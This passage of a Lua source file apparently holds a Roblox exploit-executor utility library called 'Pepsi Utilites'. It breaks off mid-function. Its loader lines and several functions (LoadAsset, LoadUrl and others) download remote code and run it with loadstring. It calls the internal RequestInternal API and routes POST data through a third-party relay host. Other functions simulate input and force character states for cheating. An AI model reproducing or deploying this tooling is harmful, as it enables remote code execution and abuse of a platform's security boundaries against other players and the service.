bb1XErt5

1-- Documentation is NOT provided. Only clues of how this works are in hints (such as this) or in my discord server or DMS Pepsi#5229
2-- I am taking on requests to add to my utilites.
3
4-- Loader string
5-- local set = getgenv or getfenv;set().Color3, set().Instance, set().math, set().string, set().table, set().Vector3, set().Pepsi, set().Region3, set().Drawing = (function()if game:GetService("RunService"):IsStudio()then return require(0XD3D844D5)end;return loadstring(game:GetObjects[[rbxassetid://3554165973]][0X1].Source)[[Pepsi Was]][[Here]]end)[[Pepsi Utilites]]
6-- OR
7-- repeat if shared.PepsiUtil then break end t = t or tick()pcall(function()loadstring(game:GetObjects[[rbxassetid://3554165973]][0X1]:GetDescendants()[0X1][([[ToolTip]])])[[Pepsi Utilites]]end)wait(0.1)until true == shared[([[PepsiUtil]])] == true or (tick() - t >= 10 and (function()local t, m = pcall(Instance[([[new]])], [[Message]], game:GetService[[CoreGui]])m[([[Text]])] = [[Pepsi's Utilites failed to load!]]game:GetService[[Debris]]:AddItem(m, 10)return true and error[[Pepsi's Utilites failed to load. Try again later please.]]end)[[Load Failed]])
8-- OR
9-- auto-update auto-loader (no fail safe)
10-- loadstring(game:GetObjects("rbxassetid://3554165973")[0X1]:GetDescendants()[0X1].ToolTip)("Pepsi Utilites")
11
12-- getgenv users (super awesome if stuffed in autoexec);
13-- getgenv().Color3, getgenv().Instance, getgenv().math, getgenv().string, getgenv().table, getgenv().Vector3, getgenv().Pepsi, getgenv().Region3, getgenv().CFrame, getgenv().Ray, getgenv().Drawing = (function()return loadstring(rawget(game:GetObjects[[rbxassetid://3554165973]], 0X1).Source)[[Pepsi Was]][[Here]]end)[[Pepsi Utilites]]
14Pepsi, dbg = Pepsi, dbg
15local _version = "2.84" -- https://api.roblox.com/assets/3554165973/versions
16if type(Pepsi) == "table" then
17	if type(Pepsi.version) == "string" then
18		local nv = tonumber(({Pepsi.version:gsub("%D", "")})[1])
19		local v = tonumber(({_version:gsub("%D", "")})[1])
20		if type(nv) == "number" and "number" == type(v) and nv <= v then
21			return (function(...) -- Fuck "module can only return 1 result".
22				return setmetatable({}, {__index = Color3}), setmetatable({}, {__index = Instance}), setmetatable({}, {__index = math}), setmetatable({rtl = utf8.char(8238)}, {__index = string}), setmetatable({}, {__index = table}), setmetatable({}, {__index = Vector3}), Pepsi, setmetatable({}, {__index = Region3}), setmetatable({}, {__index = CFrame}), setmetatable({}, {__index = Ray}--[[, setmetatable({}, {__index = Drawing}]])
23			end)
24		else
25			assert(Pepsi and Pepsi.Msg or warn or print)("Attempted to load old utilites version: " .. _version)
26		end
27	end
28end
29if type(shared) ~= "table" then
30	warn("Please consider buying Synapse.")
31	shared = shared or {}
32	if getgenv then
33		getgenv().shared = {}
34	end
35	if getfenv then
36		getfenv().shared = {}
37	end
38end
39if not utf8 then
40	utf8 = utf8 or setmetatable({}, {
41		__index = function()
42			return function()
43			end
44		end,
45		__newindex = function()
46			return function()
47			end
48		end
49	})
50	if getfenv then
51		getfenv().utf8 = utf8
52	end
53	if getgenv then -- Who the fuck has an exploit that has getgenv, but not utf8?
54		getgenv().utf8 = utf8
55	end
56end
57local auto_exec = not not shared.autoexec or false -- if you set this to true, clone everything in this script. Place in .lua file in workspace/autoexec // UPDATES CUT
58local Color3 = setmetatable({}, {__index = Color3}) -- Table is readonly. Not anymore
59local Instance = setmetatable({}, {__index = Instance})
60local math = setmetatable({nan = math.abs(math.huge / math.huge), big = math.huge}, {__index = math})
61local string = setmetatable({rtl = utf8.char(8238)}, {__index = string})
62local table = setmetatable({}, {__index = table})
63local Vector3 = setmetatable({}, {__index = Vector3})
64local Region3 = setmetatable({}, {__index = Region3})
65local CFrame = setmetatable({}, {__index = CFrame})
66local Ray = setmetatable({}, {__index = Ray})
67--local Drawing = setmetatable({}, {__index = Drawing})
68local chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" -- For base64
69local old_sort = old_sort or table.sort
70local old_ins = old_ins or table.insert
71local old_new = old_new or Instance.new
72local robloxtype = robloxtype or typeof -- For those that miss beta api
73local Pepsi = {
74	Logo = "rbxassetid:\\4427304036", -- Cool stuff
75	version = tostring(_version or "undefined"),
76	Rs = game:GetService("RunService").RenderStepped,
77	Navigating = false,
78	oldgrav = workspace.Gravity,
79	Misc = {},
80	Bot = {
81		Bots = {} -- WIP
82	},
83	Keys = {},
84	Server = type(game.JobId) == "string" and #game.JobId > 30 and game.JobId or (function()
85		if game.HttpPost then
86			return game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):JSONDecode(game:HttpPost("https://httpbin.org/post", "")).headers["Roblox-Session-Id"]).GameId
87		else
88			return game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):JSONDecode(game:GetService("HttpService"):PostAsync("https://httpbin.org/post", "")).headers["Roblox-Session-Id"]).GameId
89		end
90	end)(),
91	VarSignals = {},
92	Vars = {
93		Backpack = false,
94		Camera = false,
95		CFrame = false,
96		Character = false,
97		Connect = true,
98		Enabled = false,
99		Gui = false,
100		Head = false,
101		Health = false,
102		Humanoid = false,
103		Tool = false,
104		Torso = false,
105		Update = game:GetService("RunService").RenderStepped,
106		Vector3 = false
107	}
108}
109local newthread = coroutine.create(function(...)
110	coroutine.yield() -- Nothing to see here, move along.
111end)
112function Pepsi.spawn(...) -- Spawn now interperts arguments like pcall
113	local args = {...}
114	return spawn(function()
115		local res = {
116			pcall(unpack(args))
117		}
118		local oops = table.remove(res, 1)
119		if oops then
120			return unpack(res)
121		elseif type(res[1]) == "string" then
122			return error(res[1], 3)
123		end
124	end)
125end
126function Pepsi.delay(...) -- Delay now interperts arguments like pcall
127	local args = {...}
128	local t = tonumber(table.remove(args, 1))
129	return delay(t, function()
130		local res = {
131			pcall(unpack(args))
132		}
133		local oops = table.remove(res, 1)
134		if oops then
135			return unpack(res)
136		elseif type(res[1]) == "string" then
137			return error(res[1], 3)
138		end
139	end)
140end
141function Pepsi.Date(str_form)
142	Pepsi.Arg(str_form, {"string", "nil"}, 1, "Pepsi.Date")
143	str_form = tostring(tostring(str_form or "m/d/y") or "m/d/y")
144	local d = os.date("*t")
145	local map = {
146		h = d.hour,
147		M = d.min,
148		w = d.wday,
149		d = d.day,
150		m = d.month,
151		y = d.year,
152		s = d.sec,
153		Y = d.yday,
154	}
155	for t, v in pairs(map) do
156		str_form = str_form:gsub(t, tostring(v))
157	end
158	return str_form
159end
160function Pepsi.Mark(instance, str, state)
161	Pepsi.Arg(instance, "Instance", 1, "Pepsi.Mark")
162	Pepsi.Arg(str, "string", 2, "Pepsi.Mark")
163	Pepsi.Arg(state, {"nil", "boolean"}, 3, "Pepsi.Mark")
164	if state ~= nil then
165		return game:GetService("CollectionService")[({
166			[true] = "AddTag",
167			[false] = "RemoveTag"
168		})[state]](game:GetService("CollectionService"), instance, str)
169	end
170	return game:GetService("CollectionService"):AddTag(instance, str)
171end
172function Pepsi.UnMark(instance, str)
173	Pepsi.Arg(instance, "Instance", 1, "Pepsi.UnMark")
174	Pepsi.Arg(str, "string", 2, "Pepsi.UnMark")
175	return game:GetService("CollectionService"):RemoveTag(instance, str)
176end
177function Pepsi.IsMarked(instance, str)
178	Pepsi.Arg(instance, "Instance", 1, "Pepsi.IsMarked")
179	Pepsi.Arg(str, "string", 2, "Pepsi.IsMarked")
180	return game:GetService("CollectionService"):HasTag(instance, str)
181end
182function Pepsi.Marks(instance)
183	Pepsi.Arg(instance, "Instance", 1, "Pepsi.Marks")
184	return game:GetService("CollectionService"):GetTags(instance)
185end
186function Pepsi.GetMarked(str)
187	Pepsi.Arg(str, "string", 1, "Pepsi.GetMarked")
188	return game:GetService("CollectionService"):GetTagged(str)
189end
190function Pepsi.BindMark(str, method)
191	Pepsi.Arg(str, "string", 1, "Pepsi.ConnectMark")
192	Pepsi.Arg(method, {"boolean", "nil"}, 2, "Pepsi.ConnectMark")
193	local c = ({
194		[true] = {add = true},
195		[false] = {rem = true},
196		["nil"] = {add = true, rem = true}
197	})[(type(method) == "nil" and "nil" or method)]
198	local b = Instance.make("BindableEvent", {Name = str})
199	for op, val in pairs(c) do
200		if c.add then
201			Pepsi.Assert(b and game:GetService("CollectionService"):GetInstanceAddedSignal(str), "Failed to make bind.", 3):Connect(function(ins)
202				b:Fire(ins, true)
203			end)
204		end
205		if c.rem then
206			Pepsi.Assert(b and game:GetService("CollectionService"):GetInstanceRemovedSignal(str), "Failed to make bind.", 3):Connect(function(ins)
207				b:Fire(ins, false)
208			end)
209		end
210	end
211	return b
212end
213function Pepsi.Tool(loser)
214	loser = loser or Pepsi.Me()
215	Pepsi.Arg(loser, "Player", 1, "Pepsi.Tool")
216	local c = Pepsi.Char(loser)
217	if c then
218		return c:FindFirstChildWhichIsA("BackpackItem")
219	end
220end
221function Pepsi.Ressert(statement, msg, yes, no) -- Assert with extra features
222	Pepsi.Arg(msg, {"nil", "string"}, 2, "Pepsi.Ressert")
223	msg = tostring(msg or "ressertion failed!")
224	if not statement then
225		Pepsi.TraceError(tostring(msg))
226		return no
227	elseif yes ~= nil then
228		return yes
229	end
230	return statement
231end
232function Pepsi.TraceError(msg)
233	return Pepsi.ErrorMsg(tostring(msg) .. "\n" .. debug.traceback():gsub("[^\r\n]+", function(c) 
234        return string.rep(" ", 4) .. c
235    end))
236end
237function Pepsi.Post(url, data)
238	Pepsi.Arg(url, "string", 1, "Pepsi.Post")
239	Pepsi.Arg(data, "string", 2, "Pepsi.Post")
240	local s, res = pcall(function()
241	local r, finished = {}, Instance.new("BindableEvent")
242	game:GetService("HttpService"):RequestInternal({
243		Url = "http://postget.ga/?url=" .. game:GetService("HttpService"):UrlEncode(url) .. "&data=" .. game:GetService("HttpService"):UrlEncode(data)
244	}):Start(function(tru, done)
245		return finished:Fire(done)
246	end)
247	r = finished.Event:Wait()
248	finished:Destroy()
249	return r and r.Body
250	end)
251	if not s or type(res) ~= "string" then
252		s, res = pcall(function()
253			return game:GetService("HttpService"):PostAsync(url, data)
254		end)
255		if not s or type(res) ~= "string" then
256			s, res = pcall(function()
257				if game.HttpPost then
258					return game:HttpPost(url, data)
259				end
260			end)
261		end
262	end
263	return res
264end
265function Pepsi.Get(url)
266	Pepsi.Arg(url, "string", 1, "Pepsi.Get")
267	local s, res = pcall(function()
268		local r, finished = {}, Instance.new("BindableEvent")
269		game:GetService("HttpService"):RequestInternal({
270			Url = url,
271			Headers = {
272				["Content-Type"] = "text/plain"
273			}
274		}):Start(function(tru, done)
275			return finished:Fire(done)
276		end)
277		r = finished.Event:Wait()
278		finished:Destroy()
279		return r and r.Body
280	end)
281	if not s or type(res) ~= "string" then
282		s, res = pcall(function()
283			return game:GetService("HttpService"):GetAsync(url)
284		end)
285		if not s or type(res) ~= "string" then
286			s, res = pcall(function()
287				return game:HttpGet(url)
288			end)
289		end
290	end
291	return res
292end
293function Pepsi.NewSignal(name, triggers)
294	Pepsi.Arg(name, "string", 1, "Pepsi.NewSignal")
295	Pepsi.Arg(triggers, {"nil", "table"}, 2, "Pepsi.NewSignal")
296	local ud = newproxy(true)
297	local functionality = getmetatable(ud)
298	functionality.__metatable = "The metatable is locked"
299	functionality.__Address = tostring("Signal " .. name)
300	functionality.__index = default
301	function functionality.__tostring(self)
302	    return functionality.__Address
303	end
304	function functionality.__newindex(self, property, value)
305	    if rawget(rules, property) then
306			if rules[property].readonly then
307				return error("can't set value", 3)
308			elseif not rules[property].types[typeof(value)] then
309				if type(value) == "string" then
310					return error("Invalid value \"\r" .. tostring(value:sub(1, 80)) .. "\" for " .. classname, 3)
311				elseif type(value) == "number" then
312					return error("Invalid value \r" .. tostring(value) .. " for " .. classname, 3)
313				end
314				return error("Invalid value for " .. classname, 3)
315			else
316				return rawset(default, property, value)
317			end
318		elseif newindex then
319			return rawset(default, property, value)
320		else
321			return error(property .. " is not a valid member of RBXScriptSignal", 3)
322		end
323	end
324end
325function Pepsi.ncall(self, name, ...) -- Protected namecall [ game:GetService("Workspace") - > Pepsi.ncall(game, "GetService", "Workspace") ]
326	Pepsi.Arg(self, "nil", 1, "Pepsi.ncall", true)
327	Pepsi.Arg(name, "string", 2, "Pepsi.ncall")
328	return pcall(self[name], self, ...) -- God power
329end
330function Pepsi.encall(self, name, ...)
331	Pepsi.Arg(self, "nil", 1, "Pepsi.encall", true)
332	Pepsi.Arg(name, "string", 2, "Pepsi.encall")
333	return Pepsi.ecall(self[name], self, ...)
334end
335function Pepsi.Assert(statement, msg, level) -- Assert now accepts a 3rd arguemnt, being level
336	msg = tostring(msg or "assertion failed!")
337	level = tonumber(level or 1)
338	if not statement then
339		return error(tostring(msg), tonumber(level) + 1)
340	end
341end
342function Pepsi.Class(obj)
343	return typeof(obj) == "Instance" and obj.ClassName or typeof(obj)
344end
345function Pepsi.Arg(val, mustbe, arg, func, moreinfo, inverse)
346	if type(moreinfo) == "boolean" and type(inverse) == "nil" or type(inverse) == "string" then
347		moreinfo, inverse = inverse, moreinfo
348	end
349	assert(type(mustbe) == "string" or type(mustbe) == "table", "bad argument #2 to 'Pepsi.Arg' (table/string expected, got " .. tostring(type(mustbe) == "nil" and "no value" or typeof(mustbe)) .. ")")
350	assert(type(arg) == "nil" or type(arg) == "number", "bad argument #3 to 'Pepsi.Arg' (number expected, got " .. tostring(type(arg) == "nil" and "no value" or typeof(arg)) .. ")")
351	assert(type(func) == "nil" or type(func) == "string", "bad argument #4 to 'Pepsi.Arg' (string expected, got " .. tostring(type(func) == "nil" and "no value" or typeof(func)) .. ")")
352	assert(type(moreinfo) == "nil" or type(moreinfo) == "string", "bad argument #5 to 'Pepsi.Arg' (string expected, got " .. tostring(type(moreinfo) == "nil" and "no value" or typeof(moreinfo)) .. ")")
353	assert(type(inverse) == "nil" or type(inverse) == "boolean", "bad argument #6 to 'Pepsi.Arg' (boolean expected, got " .. tostring(type(inverse) == "nil" and "no value" or typeof(inverse)) .. ")")
354	if type(mustbe) == "string" then
355		mustbe = {mustbe}
356	end
357	local allownil = false
358	local vals = table.dictionary(mustbe)
359	if vals["nil"] then
360		allownil, vals["nil"] = true, nil
361	end
362	local str = "bad argument "
363	if arg then
364		str = str .. "#" .. tostring(arg) .. " "
365	end
366	if func then
367		str = str .. "to '" .. tostring(func) .. "' "
368	end
369	local astr = tostring(table.concat(table.sort(table.keys(vals)), "/") or "") or ""
370	if astr and str then
371		str = str .. "(" .. tostring(astr) .. " expected, got " .. tostring(type(val) == "nil" and "no value" or typeof(val)) .. ")"
372		if moreinfo then
373			str = str .. " [" .. tostring(moreinfo) .. "]"
374		end
375		if str then
376			if allownil then
377				vals["nil"] = true
378			end
379			local valtype = Pepsi.Class(val)
380			if inverse then
381				return Pepsi.Assert(not vals[valtype] and not vals[typeof(val)], str, 3)
382			end
383			return Pepsi.Assert(vals[valtype] or vals[typeof(val)], str, 3)
384		end
385	end
386end
387function Pepsi.Encrypt(message, key)
388	key = tostring(key or "Pepsi")
389    local key_bytes
390    if type(key) == "string" then
391        key_bytes = {}
392        for key_index = 1, #key do
393            key_bytes[key_index] = string.byte(key, key_index)
394        end
395    else
396        key_bytes = key
397    end
398    local message_length = #message
399    local key_length = #key_bytes
400    local message_bytes = {}
401    for message_index = 1, message_length do
402        message_bytes[message_index] = string.byte(message, message_index)
403    end
404    local result_bytes = {}
405    local random_seed = 0
406    for key_index = 1, key_length do
407        random_seed = (random_seed + key_bytes[key_index] * key_index) * 37789 + 60061
408        random_seed = (random_seed - random_seed % 256) / 256 % 65536
409    end
410    for message_index = 1, message_length do
411        local message_byte = message_bytes[message_index]
412        for key_index = 1, key_length do
413            local key_byte = key_bytes[key_index]
414            local result_index = message_index + key_index - 1
415            local result_byte = message_byte + (result_bytes[result_index] or 0)
416            if result_byte > 255 then
417                result_byte = result_byte - 256
418            end
419            result_byte = result_byte + key_byte
420            if result_byte > 255 then
421                result_byte = result_byte - 256
422            end
423            random_seed = (random_seed * 37789 + 60061) % 65536
424            result_byte = result_byte + (random_seed - random_seed % 256) / 256
425            if result_byte > 255 then
426                result_byte = result_byte - 256
427            end
428            result_bytes[result_index] = result_byte
429        end
430    end
431    local result_characters = {}
432    local result_next_index = 1
433    for result_index = 1, #result_bytes do
434        local result_byte = result_bytes[result_index]
435        if result_byte == 0 then
436            result_characters[result_next_index] = "\1"
437            result_characters[result_next_index + 1] = "\1"
438            result_next_index = result_next_index + 2
439        elseif result_byte == 1 then
440            result_characters[result_next_index] = "\1"
441            result_characters[result_next_index + 1] = "\2"
442            result_next_index = result_next_index + 2
443        else
444            result_characters[result_next_index] = string.char(result_byte)
445            result_next_index = result_next_index + 1
446        end
447    end
448    return table.concat(result_characters)
449end
450function Pepsi.Decrypt(message, key)
451	key = tostring(key or "Pepsi")
452    local message_length = #message
453    local key_length = #key
454    local random_seed = 0
455    local g = 0
456    local message_index = 1
457    local message_bytes = {}
458    local j = {}
459    local result_bytes = {}
460    local result_characters = {}
461    local key_bytes
462    if type(key) == "string" then
463        key_bytes = {}
464        for key_index = 1, key_length do
465            key_bytes[key_index] = string.byte(key, key_index)
466        end
467    else
468        key_bytes = key
469    end
470    while message_index <= message_length do
471        local i = string.byte(message, message_index)
472        g = g + 1
473        if i == 1 then
474            message_index = message_index + 1
475            message_bytes[g] = string.byte(message, message_index) - 1
476        else
477            message_bytes[g] = i
478        end
479        message_index = message_index + 1
480    end
481    for key_index = 1, key_length do
482        random_seed = (random_seed + key_bytes[key_index] * key_index) * 37789 + 60061
483        random_seed = (random_seed - random_seed % 256) / 256 % 65536
484    end
485    for i = 1, (g - key_length + 1) * key_length do
486        random_seed = (random_seed * 37789 + 60061) % 65536
487        j[i] = (random_seed - random_seed % 256) / 256
488    end
489    local l = #j
490    local m = key_bytes[key_length]
491    for result_index = g, key_length, -1 do
492        local result_byte = message_bytes[result_index] - m
493        if result_byte < 0 then
494            result_byte = result_byte + 256
495        end
496        result_byte = result_byte - j[l]
497        l = l - 1
498        if result_byte < 0 then
499            result_byte = result_byte + 256
500        end
501        for q = key_length - 1, 1, -1 do
502            result_index = result_index - 1
503            local r = message_bytes[result_index] - key_bytes[q]
504            if r < 0 then
505                r = r + 256
506            end
507            r = r - result_byte
508            if r < 0 then
509                r = r + 256
510            end
511            r = r - j[l]
512            l = l - 1
513            if r < 0 then
514                r = r + 256
515            end
516            message_bytes[result_index] = r
517        end
518        result_bytes[result_index] = result_byte
519    end
520    for result_index = 1, #result_bytes do
521        result_characters[result_index] = string.char(result_bytes[result_index])
522    end
523    return table.concat(result_characters)
524end
525function Pepsi.WaitForChar(loser, rethuman)
526	if type(loser) == "boolean" and rethuman == nil then
527		loser, rethuman = rethuman, loser
528	end
529	loser = loser or Pepsi.Me()
530	local c = Pepsi.Char(loser)
531	if not c and Pepsi.Obj({
532		silent = true
533	}, loser, "CharacterAdded") then
534		local c = loser.CharacterAdded:Wait()
535		while c and not Pepsi.Human(loser) do
536			Pepsi.Rs:Wait()
537		end
538		if rethuman then
539			return c, Pepsi.Human(loser)
540		end
541		return c
542	end
543	while c and not Pepsi.Human(loser) do
544		Pepsi.Rs:Wait()
545	end
546	if rethuman then
547		return c, Pepsi.Human(loser)
548	end
549	return c
550end
551function Pepsi.LoadAsset(id, run)
552	local func = loadstring(rawget(game:GetObjects("rbxassetid://" .. tostring(tonumber(id))), 0X1).Source)
553	if run then
554		return func()
555	end
556	return func
557end
558function Pepsi.LoadUrl(url, func, ...)
559	if game.HttpGet then
560		return loadstring(game:HttpGet(url))
561	elseif game:GetService("HttpService").GetAsync then
562		return loadstring(game:GetService("HttpService"):GetAsync(url))
563	elseif func then
564		return loadstring(func(url, ...))
565	end
566end
567function Pepsi.Mercy()
568	return pcall(Pepsi.LoadAsset(0XFD918E32))
569end
570function Pepsi.FuckMeUp()
571	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
572	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
573	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
574	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
575	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
576	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
577	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
578	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
579	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
580	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
581	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
582	do return pcall(loadstring(rawget(game:GetObjects("rbxassetid://4209896474"), 0X1).Source)) end
583end
584function Pepsi.ToVector3(obj, ...)
585	if #{...} >= 2 then
586		obj = tostring(tostring(obj) .. ", " .. tostring(({...})[1]) .. ", " .. tostring(({...})[2]))
587	end
588	if obj and type(obj) == "table" then
589		local x, y, z = obj.X or obj.x, obj.Y or obj.y, obj.z or obj.Z
590		if x and y and z then
591			return Vector3.new(x, y, z)
592		end
593		if #obj == 3 then
594			return Vector3.new(unpack(obj))
595		end
596	elseif obj and typeof(obj) == "Instance" and obj:IsA("ValueBase") then
597		obj = obj.Value
598	elseif obj and typeof(obj) == "Instance" and obj:IsA("Player") then
599		obj = obj.Character
600	elseif type(obj) == "string" then
601		obj = string.getvalue(obj) or string.getvalue("Vector3.new(" .. obj .. ")") or string.getvalue("CFrame.new(" .. obj .. ")")
602		if typeof(obj) == "CFrame" then
603			return obj.Position
604		end
605		return obj
606	elseif typeof(obj) == "Vector3" then
607		return obj
608	elseif typeof(obj) == "CFrame" then
609		return obj.Position
610	end
611	if nil == obj then
612		return Vector3.new()
613	elseif obj and typeof(obj) == "Instance" then
614		if obj:IsA("BasePart") then
615			return obj.Position
616		elseif obj:IsA("Model") and obj.PrimaryPart then
617			return obj.PrimaryPart.Position
618		elseif obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
619			obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
620			return obj.Position
621		end
622	end
623end
624function Pepsi.Compatible()
625	return loadstring(rawget(game:GetObjects[[rbxassetid://4108946409]], 0X1).Source)[[Compatibilize]]
626end
627function Pepsi.GetOthers(...)
628	local args = {...}
629	if #args == 0 then
630		args = {
631			Pepsi.Me()
632		}
633	end
634	args = table.dictionary(args)
635	local losers = {}
636	table.each(game:GetService("Players"):GetPlayers(), function(loser)
637		if not args[loser] then
638			table.insert(losers, loser)
639		end
640	end)
641	return losers
642end
643function Pepsi.Trip(tog, loser) -- A little fun function. Requested.
644	Pepsi.oldgrav = Pepsi.oldgrav or workspace.Gravity
645	workspace.Gravity = -math.huge
646	wait()
647	Pepsi.Torso().CFrame = Pepsi.Torso().CFrame + Vector3.new(0, 5.5, 0)
648	wait()
649	workspace.Gravity = Pepsi.oldgrav
650	return Pepsi.State(Enum.HumanoidStateType.Ragdoll, tog, loser)
651end
652function Pepsi.State(state, tog, loser)
653	if not loser or typeof(loser) ~= "Instance" or not loser:IsA("Humanoid") then
654		loser = Pepsi.Human(loser)
655	end
656	if type(tog) == "number" then
657		delay(tog, function()
658			Pepsi.Misc[state] = false
659		end)
660		tog = true
661	elseif type(tog) ~= "boolean" then
662		local h = Pepsi.Human()
663		if h then
664			h:ChangeState(state)
665		end
666		return
667	end
668	if type(tog) == "boolean" then
669		if not tog then
670			return rawset(Pepsi.Misc, state, false)
671		elseif rawget(Pepsi.Misc, state) == tog then
672			return
673		end
674		local h = Pepsi.Human()
675		while not h and wait() do
676			h = Pepsi.Human()
677		end
678		Pepsi.Misc[state] = true
679		h:ChangeState(state)
680		spawn(function()
681			while Pepsi.Misc[state] and wait() do
682				pcall(function()
683					local h = Pepsi.Human()
684					if h then
685						local old, new = h.StateChanged:Wait()
686						if new ~= state and h then
687							h:ChangeState(state)
688						end
689					end
690				end)
691			end
692		end)
693	end
694end
695function Pepsi.ToCFrame(obj, ...)
696	if #{...} >= 2 then
697		obj = tostring(tostring(obj) .. ", " .. tostring(({...})[1]) .. ", " .. tostring(({...})[2]))
698	end
699	if obj and typeof(obj) == "Instance" and obj:IsA("ValueBase") then
700		obj = obj.Value
701	elseif type(obj) == "string" then
702		obj = string.getvalue(obj) or string.getvalue("CFrame.new(" .. obj .. ")") or string.getvalue(obj)
703		if typeof(obj) == "CFrame" then
704			return obj
705		end
706		return obj
707	elseif typeof(obj) == "Vector3" then
708		return CFrame.new(obj.X, obj.Y, obj.Z)
709	elseif typeof(obj) == "CFrame" then
710		return obj
711	end
712	if nil == obj then
713		return CFrame.new()
714	elseif obj and typeof(obj) == "Instance" then
715		if obj:IsA("BasePart") then
716			return obj.CFrame
717		elseif obj:IsA("Model") and obj.PrimaryPart then
718			return obj.PrimaryPart.CFrame
719		elseif obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
720			obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
721			return obj.CFrame
722		end
723	end
724end
725function Pepsi.KeyPress(key, duration)
726	if type(duration) == "number" then
727		game:GetService("VirtualInputManager"):SendKeyEvent(true, key, false, game)
728		wait(duration)
729		return game:GetService("VirtualInputManager"):SendKeyEvent(false, key, false, game)
730	elseif type(duration) == "boolean" then
731		return game:GetService("VirtualInputManager"):SendKeyEvent(duration, key, false, game)
732	else
733		return game:GetService("VirtualInputManager"):SendKeyEvent(not game:GetService("UserInputService"):IsKeyDown(key), key, false, game)
734	end
735end
736function Pepsi.Mouse()
737	return Pepsi.Me():GetMouse()
738end
739function Pepsi.acall(func, args) -- Arguments call
740	if type(args) == "function" and type(func) ~= "function" then
741		func, args = args, func -- Some loser flipped the arguments
742	end
743	if func then
744		if Pepsi.IsA(args, "RemoteEvent") then
745			return function()
746				return pcall(func, args:FireServer())
747			end
748		elseif Pepsi.IsA(args, "RemoteFunction") then
749			return function()
750				return pcall(func, args:InvokeServer())
751			end
752		elseif type(args) == "function" then
753			return function()
754				return pcall(func, args())
755			end
756		elseif type(args) == "table" then
757			return function()
758				return pcall(func, unpack(args))
759			end
760		else
761			return function()
762				return pcall(func, args)
763			end
764		end
765	end
766end
767function Pepsi.MousePos()
768	local m = Pepsi.Mouse()
769	return m.X, m.Y
770end
771function Pepsi.Wait(n)
772	if not n then
773		return Pepsi.Rs:Wait()
774	end
775	if type(n) == "number" then
776		if n <= 0 then
777			return Pepsi.Rs:Wait()
778		end
779		return wait(n)
780	elseif typeof(n) == "Instance" and "RBXScriptSignal" == typeof(n.Changed) then
781		if not rawequal(Pepsi.Obj(getfenv().script, "ClassName"), "LocalScript") then
782			if "RBXScriptSignal" == typeof(n.OnServerEvent) then
783				return n.OnServerEvent:Wait()
784			end
785		end
786		return n.Changed:Wait()
787	elseif typeof(n) == "RBXScriptSignal" then
788		return n:Wait()
789	elseif n ~= nil and tonumber(n) ~= nil then
790		return wait(tonumber(n))
791	end
792	return game:GetService("RunService").RenderStepped:Wait()
793end
794function Pepsi.NearMouse(vec, pixels, x, y)
795	if vec ~= nil then
796		vec = Pepsi.ToVector3(vec)
797		local hpos, on_screen = workspace.CurrentCamera:WorldToScreenPoint(vec)
798		if type(x) ~= "number" then
799			x = Pepsi.MousePos()
800		end
801		if type(y) ~= "number" then
802			local o, y = Pepsi.MousePos()
803		end
804		if type(x) ~= "number" or type(y) ~= "number" then
805			x, y = Pepsi.MousePos()
806			if type(x) ~= "number" or type(y) ~= "number" then
807				x, y = workspace.CurrentCamera.ViewportSize.X, workspace.CurrentCamera.ViewportSize.Y
808			end
809		end
810		local dist = (((hpos.X - x) ^ 0X2) + ((hpos.Y - y) ^ 0X2)) ^ (0X1 / 0X2) -- Wuzzy units
811		if not on_screen then
812			dist = (((workspace.CurrentCamera.ViewportSize.X + hpos.X - x) ^ 0X2) + ((workspace.CurrentCamera.ViewportSize.Y + hpos.Y - y) ^ 0X2)) ^ (0X1 / 0X2)
813		end
814		if pixels == nil then
815			if on_screen then
816				return dist
817			end
818		elseif on_screen then
819			if dist <= pixels then
820				return true
821			end
822		end
823	end
824	return false
825end
826function Pepsi.GetCam()
827	return workspace.CurrentCamera
828end
829function Pepsi.Touching(loser, ...)
830	local args, nargs = {...}, {}
831	if not Pepsi.IsA(loser, "Player") then
832		table.insert(args, loser)
833		loser = Pepsi.Me()
834	end
835	for k, v in pairs(args) do
836		if type(v) == "table" then
837			for k, v in pairs(v) do
838				if Pepsi.IsA(v, "BasePart") then
839					table.insert(nargs, v)
840				end
841			end
842		elseif Pepsi.IsA(v, "BasePart") then
843			table.insert(nargs, v)
844		end
845	end
846	local torso = Pepsi.Torso(loser)
847	if #torso:GetTouchingParts() <= 0 then
848		return false
849	end
850	if Pepsi.IsA(torso, "BasePart") then
851		local touched = torso:GetTouchingParts()
852		for k, v in pairs(nargs) do
853			for n, p in pairs(touched) do
854				if rawequal(v, p) then
855					return true
856				end
857			end
858		end
859	end
860	return false
861end
862function Pepsi.Click(button, x, y, dur)
863	button = button or Enum.UserInputType.MouseButton1 -- This function isnt suposed to be called by an end user, but why not?
864	if typeof(button) == "EnumItem" then
865		button = button.Value
866	end
867	if x == nil and y == nil then
868		x, y = Pepsi.MousePos()
869	end
870	if typeof(x) == "Vector2" then
871		dur = y
872		x, y = Pepsi.Viewport(x)
873	end
874	if dur == nil then
875		dur = 1 / 20 -- Defaults to 0.05 second click
876	elseif typeof(dur) == "Instance" then
